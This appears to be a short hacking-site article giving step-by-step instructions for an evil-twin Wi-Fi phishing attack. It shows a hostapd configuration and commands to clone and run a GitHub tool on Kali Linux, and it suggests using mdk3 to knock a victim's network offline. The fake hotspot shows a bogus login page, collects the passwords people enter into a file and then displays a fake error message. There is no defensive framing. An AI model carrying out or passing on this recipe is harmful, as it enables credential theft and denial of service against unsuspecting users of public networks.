This method will open a website on Windows to login with. On android and iPhone it will tell them they will need to sign in to use the hotspot as a popup on their device. 

You can use mdk3 to down their network and boost yours so you have the first in the list. You will need to change your wireless network name to match theirs. To do that, when you clone the GitHub, change the name in hostapd.conf from Public Hotspot to match theirs.

interface=wlan0mon
driver=nl80211
ssid=Public Hotspot
hw_mode=g
channel=1
macaddr_acl=0
ignore_broadcast_ssid=0

Start a fresh live boot of Kali linux straight from the USB or disc in virtual machine. Make sure you have an internet connection on ethernet and then your wireless adapter not connected. Check your current wireless adapter is wlan0 by typing in:

iwconfig

Once everything is OK.

git clone https://github.com/WiFiCloneHF/SocialMediaHotSpot.git
cd SocialMediaHotSpot
chmod +x run.sh
./run.sh

This will download all the files you need (pre-requisites) then start a wireless hotspot called “Public Hotspot”. It will also start tailing the got.txt file which will contain the passwords people enter.

After they hit login it will notify them with the oauth.html page under /var/www/html with

“Oops, an error occured! Our engineers were notified. Please be patient as we are working on it.”

– hacking
Courtesy of Imgur

Have something to say about this article? Comment below or share it with us on Facebook, Twitter or our LinkedIn Group.